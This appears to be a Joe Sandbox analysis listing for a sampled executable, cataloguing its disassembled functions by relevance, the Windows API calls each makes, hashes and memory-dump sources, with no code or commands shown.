Instruction ID: 9d9d7786f8da84f9e79e2857443764d6f0c66b1693e388b9e37474a458c38714
Opcode Fuzzy Hash: 80a5d663a13f51ecb903b15eaeac67070a08a6ca3528d03f187bb8c62a11df5c
Instruction Fuzzy Hash: 99F01D3144252ABBD7415B94EF88BE67A39FF01712F441016F101918A0CB749465EFD0

Function 00FE1C60 Relevance: 9.3, APIs: 6, Instructions: 298networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00FE1DC0
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00FE1DE1
WSAGetLastError.WSOCK32 ref: 00FE1DF2
htons.WSOCK32(?,?,?,?,?), ref: 00FE1EDB
inet_ntoa.WSOCK32(?), ref: 00FE1E8C

Part of subcall function 00FC39E8: _strlen.LIBCMT ref: 00FC39F2

Part of subcall function 00FE3224: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,?,00FDEC0C), ref: 00FE3240

_strlen.LIBCMT ref: 00FE1F35

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _strlen$ByteCharErrorLastMultiWidehtonsinet_ntoa
String ID:
API String ID: 3203458085-0
Opcode ID: 50643c8d5922abf39e9fa18ac23e6b898f4b16dcc8bd869e7c7685f530d01325
Instruction ID: 643e520e4bf492e093f880fcf671a498e65c660c4d2cf6b72e2d6030cde76287
Opcode Fuzzy Hash: 50643c8d5922abf39e9fa18ac23e6b898f4b16dcc8bd869e7c7685f530d01325
Instruction Fuzzy Hash: 63B1F031604380AFC324DF26CC85F2A77A5BF84318F54854CF45A8B2A2DB75ED46EB92

Function 00F65D0A Relevance: 9.3, APIs: 6, Instructions: 276COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00F65D30
GetWindowRect.USER32(?,?), ref: 00F65D71
ScreenToClient.USER32(?,?), ref: 00F65D99
GetClientRect.USER32(?,?), ref: 00F65ED7
GetWindowRect.USER32(?,?), ref: 00F65EF8

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 5c0725029d3ee7f9ddc1ea3171fb5e7ffb1efa17e5be0fa3501ab97da46d2b6b
Instruction ID: f1dd1cde41bc3b11bbae80c304b1a0e1faa74bb98a9f3329fafe8c28dc5499b2
Opcode Fuzzy Hash: 5c0725029d3ee7f9ddc1ea3171fb5e7ffb1efa17e5be0fa3501ab97da46d2b6b
Instruction Fuzzy Hash: A0B17875A00A4ADBDB10CFA8C5807EEB7F1FF58310F14841AE8A9E7250DB34AA51EB50

Function 00F901B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 00F900BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00F900D6
__allrem.LIBCMT ref: 00F900ED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00F9010B
__allrem.LIBCMT ref: 00F90122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00F90140

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction ID: 025c4a11ffdf5fcc44af8b488434d9c490f944aa117acb6e0fc44fd4c4591ef7
Opcode Fuzzy Hash: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction Fuzzy Hash: E681F772E007069FFB24AF68CC42BAB73E9AF41734F24423AF551D6291EB74D944A750

Function 00F961FE Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00F882D9,00F882D9,?,?,?,00F9644F,00000001,00000001,8BE85006), ref: 00F96258
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00F9644F,00000001,00000001,8BE85006,?,?,?), ref: 00F962DE
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00F963D8
__freea.LIBCMT ref: 00F963E5

Part of subcall function 00F93820: RtlAllocateHeap.NTDLL(00000000,?,01031444,?,00F7FDF5,?,?,00F6A976,00000010,01031440,00F613FC,?,00F613C6,?,00F61129), ref: 00F93852

__freea.LIBCMT ref: 00F963EE
__freea.LIBCMT ref: 00F96413

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 09c31b8fdc1e60738952fe7ac6107e8d872a6e71e87483b3c33db1730b6c9a05
Instruction ID: 63d8240264d9848c9bd1a80580ab8822cb94b8e9cdba3671c3dd61904520edfb
Opcode Fuzzy Hash: 09c31b8fdc1e60738952fe7ac6107e8d872a6e71e87483b3c33db1730b6c9a05
Instruction Fuzzy Hash: B151D172A00216ABFF268F64CC81EBF77A9EF44760F154629FC05D6240EB38DC50E6A0

Function 00FEBBDB Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F69CB3: _wcslen.LIBCMT ref: 00F69CBD

Part of subcall function 00FEC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00FEB6AE,?,?), ref: 00FEC9B5
Part of subcall function 00FEC998: _wcslen.LIBCMT ref: 00FEC9F1
Part of subcall function 00FEC998: _wcslen.LIBCMT ref: 00FECA68
Part of subcall function 00FEC998: _wcslen.LIBCMT ref: 00FECA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00FEBCCA
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00FEBD25
RegCloseKey.ADVAPI32(00000000), ref: 00FEBD6A
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00FEBD99
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00FEBDF3
RegCloseKey.ADVAPI32(?), ref: 00FEBDFF

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: cae70939200edaa40182e76230e5e8c3f07799889ad77b52ece93c7c3131b548
Instruction ID: 24e295932a58999abb115766ebeda6eba5b2a54f523be855e64a501d94c1b94b
Opcode Fuzzy Hash: cae70939200edaa40182e76230e5e8c3f07799889ad77b52ece93c7c3131b548
Instruction Fuzzy Hash: 30819E31508281AFD714DF24C885E2BBBE9FF84318F14855CF4598B2A2DB35ED45EB92

Function 00FBF7AD Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 00FBF7B9
SysAllocString.OLEAUT32(00000001), ref: 00FBF860
VariantCopy.OLEAUT32(00FBFA64,00000000), ref: 00FBF889
VariantClear.OLEAUT32(00FBFA64), ref: 00FBF8AD
VariantCopy.OLEAUT32(00FBFA64,00000000), ref: 00FBF8B1
VariantClear.OLEAUT32(?), ref: 00FBF8BB

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: 7849b6a611dd857fefc5d77537ac81964fb34de2f30e626f4984e607e68c47d8
Instruction ID: e351cafcbeef2d21d650258301da1010d3203617c7cca3fe618a425761bb1757
Opcode Fuzzy Hash: 7849b6a611dd857fefc5d77537ac81964fb34de2f30e626f4984e607e68c47d8
Instruction Fuzzy Hash: 3E510931600314BACF20AB66DC95BA9B3A8EF45310F248477E805DF291DB748C48FF96

Function 00FD910C Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 00F67620: _wcslen.LIBCMT ref: 00F67625

Part of subcall function 00F66B57: _wcslen.LIBCMT ref: 00F66B6A

GetOpenFileNameW.COMDLG32(00000058), ref: 00FD94E5
_wcslen.LIBCMT ref: 00FD9506
_wcslen.LIBCMT ref: 00FD952D
GetSaveFileNameW.COMDLG32(00000058), ref: 00FD9585

Strings

X, xrefs: 00FD9412

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _wcslen$FileName$OpenSave
String ID: X
API String ID: 83654149-3081909835
Opcode ID: 990474fe203ef67675012209cdc916235f0397ab54df23fd841f7cd2a1e636c9
Instruction ID: 50a40a1a49b31a0572fe0967f8b00a97491756c4c2f28cc94be5afba232f9356
Opcode Fuzzy Hash: 990474fe203ef67675012209cdc916235f0397ab54df23fd841f7cd2a1e636c9
Instruction Fuzzy Hash: 28E1A5319083008FD724EF64C881B6AB7E5BF85314F18856EF8899B3A2DB75DD05EB91

Function 00F7920C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00F79BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00F79BB2

BeginPaint.USER32(?,?,?), ref: 00F79241
GetWindowRect.USER32(?,?), ref: 00F792A5
ScreenToClient.USER32(?,?), ref: 00F792C2
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00F792D3
EndPaint.USER32(?,?,?,?,?), ref: 00F79321
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00FB71EA

Part of subcall function 00F79339: BeginPath.GDI32(00000000), ref: 00F79357

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
String ID:
API String ID: 3050599898-0
Opcode ID: 6e46b9b860abe2a85a0eeb51f7f64a0501427535aeaa960c40df6887fd97bb00
Instruction ID: 6ef6ce6cdab0445e609a0e37b4c34db13eb52d2636478200b5a41847c97fa959
Opcode Fuzzy Hash: 6e46b9b860abe2a85a0eeb51f7f64a0501427535aeaa960c40df6887fd97bb00
Instruction Fuzzy Hash: 4941A231508305AFD720EF25CC84FB67BACEF89320F14426AF999872E1C7759845EB62

Function 00FD07EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00FD080C
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 00FD0847
EnterCriticalSection.KERNEL32(?), ref: 00FD0863
LeaveCriticalSection.KERNEL32(?), ref: 00FD08DC
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 00FD08F3
InterlockedExchange.KERNEL32(?,000001F6), ref: 00FD0921

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: 88bbb6f72c3d87f8e18e1c45e14f8b7014ab0f9e847fc419bc1a7c7dc8ccd7d5
Instruction ID: d072aa290754848597f80daedde096443aa9a7bca1aed582313e2182d0cfb355
Opcode Fuzzy Hash: 88bbb6f72c3d87f8e18e1c45e14f8b7014ab0f9e847fc419bc1a7c7dc8ccd7d5
Instruction Fuzzy Hash: BB416D71900209EFDF14AF54DC85AAA77B9FF04310F1480A6ED049E297DB34DE64EBA5

Function 00FF81DB Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,00FBF3AB,00000000,?,?,00000000,?,00FB682C,00000004,00000000,00000000), ref: 00FF824C
EnableWindow.USER32(?,00000000), ref: 00FF8272
ShowWindow.USER32(FFFFFFFF,00000000), ref: 00FF82D1
ShowWindow.USER32(?,00000004), ref: 00FF82E5
EnableWindow.USER32(?,00000001), ref: 00FF830B
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00FF832F

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: c1d8e19750d5880c896bf0fe746d1cca71177a06c46759e1be66dc9540d883dd
Instruction ID: d849925bf05c6bfe9286251b3541e677a533a0ac57cbe2efab775624fe32a911
Opcode Fuzzy Hash: c1d8e19750d5880c896bf0fe746d1cca71177a06c46759e1be66dc9540d883dd
Instruction Fuzzy Hash: FE418634A0164CEFDB21CF15C985BF87BE4BF0A764F184165E6484B272CB32A846DF50

Function 00FC4C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00FC4C95
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00FC4CB2
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00FC4CEA
_wcslen.LIBCMT ref: 00FC4D08
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00FC4D10
_wcsstr.LIBVCRUNTIME ref: 00FC4D1A

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: a8a8036445cbefaef9843a562c93548b6349792bc39b3381016211a2005dcbd5
Instruction ID: 264ea9e9e16fc008ed447c5a57a18f1ca98f7fa3b5f95d4523e7632c30e6b162
Opcode Fuzzy Hash: a8a8036445cbefaef9843a562c93548b6349792bc39b3381016211a2005dcbd5
Instruction Fuzzy Hash: 3521FC326041157BEB15AB35ED5AF7B7B9CDF45760F10802EF809CA191EA65EC00F7A0

Function 00FD581E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 00F63AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00F63A97,?,?,00F62E7F,?,?,?,00000000), ref: 00F63AC2

_wcslen.LIBCMT ref: 00FD587B
CoInitialize.OLE32(00000000), ref: 00FD5995
CoCreateInstance.OLE32(00FFFCF8,00000000,00000001,00FFFB68,?), ref: 00FD59AE
CoUninitialize.OLE32 ref: 00FD59CC

Strings

.lnk, xrefs: 00FD5876, 00FD58C1, 00FD5985

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: a799545e297e4a2dc63b1d74d77f6caf5265a5249d475f5cfa937dadea235e29
Instruction ID: a14298076035ad699f19d11aa8cdd90014cb071adf57ef130bffd633487f9fb7
Opcode Fuzzy Hash: a799545e297e4a2dc63b1d74d77f6caf5265a5249d475f5cfa937dadea235e29
Instruction Fuzzy Hash: 6AD15771A047019FC714DF14C89092ABBE6FF89B24F18485EF88A9B361DB35EC45DB92

Function 00FC175D Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FC0FB4: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00FC0FCA
Part of subcall function 00FC0FB4: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00FC0FD6
Part of subcall function 00FC0FB4: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00FC0FE5
Part of subcall function 00FC0FB4: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00FC0FEC
Part of subcall function 00FC0FB4: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00FC1002

GetLengthSid.ADVAPI32(?,00000000,00FC1335), ref: 00FC17AE
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00FC17BA
HeapAlloc.KERNEL32(00000000), ref: 00FC17C1
CopySid.ADVAPI32(00000000,00000000,?), ref: 00FC17DA
GetProcessHeap.KERNEL32(00000000,00000000,00FC1335), ref: 00FC17EE
HeapFree.KERNEL32(00000000), ref: 00FC17F5

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: a6f43d668a71a46fa73e1ffab73a18558c808ae888ad48bd60a5211f75a1e82c
Instruction ID: 48fc2b1116bf250b681b5a5f5dc819ab300033e7787b75b00946ad68e1aea1a4
Opcode Fuzzy Hash: a6f43d668a71a46fa73e1ffab73a18558c808ae888ad48bd60a5211f75a1e82c
Instruction Fuzzy Hash: 4D118C3190020AEFDB109BA4CE4AFAF7BA9FF42365F10401CE44197212C7399965EBA0

Function 00FC14CE Relevance: 9.1, APIs: 6, Instructions: 64processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00FC14FF
OpenProcessToken.ADVAPI32(00000000), ref: 00FC1506
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00FC1515
CloseHandle.KERNEL32(00000004), ref: 00FC1520
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00FC154F
DestroyEnvironmentBlock.USERENV(00000000), ref: 00FC1563

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: ddbbbb9126268609dadfc50bd274934cac17e9f473f9ecb53a154871d71d7dba
Instruction ID: a772246a61ceb5353f618943799fe3a02f8d247e675a9e26214cec92ec761cd6
Opcode Fuzzy Hash: ddbbbb9126268609dadfc50bd274934cac17e9f473f9ecb53a154871d71d7dba
Instruction Fuzzy Hash: 39114A7250020EABDF11CF94DE49FEA7BADFF49754F044018FA05A2160C3718E65EB60

Function 00F83382 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00F83379,00F82FE5), ref: 00F83390
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00F8339E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00F833B7
SetLastError.KERNEL32(00000000,?,00F83379,00F82FE5), ref: 00F83409

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 2eb04a2cebcd2f0a7d82f69712d829161b6d52d18a27bd5e25b183048c5601d0
Instruction ID: 2567a7ebd9d2ceb98391f54446b443d1d5f2450d6efb27699c1f19baf2af3788
Opcode Fuzzy Hash: 2eb04a2cebcd2f0a7d82f69712d829161b6d52d18a27bd5e25b183048c5601d0
Instruction Fuzzy Hash: 3601B533A093117EAB353A786DC9EEA3A94EB06B757300229F810811F5EF1A4D01B785

Function 00F92D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00F95686,00FA3CD6,?,00000000,?,00F95B6A,?,?,?,?,?,00F8E6D1,?,01028A48), ref: 00F92D78
_free.LIBCMT ref: 00F92DAB
_free.LIBCMT ref: 00F92DD3
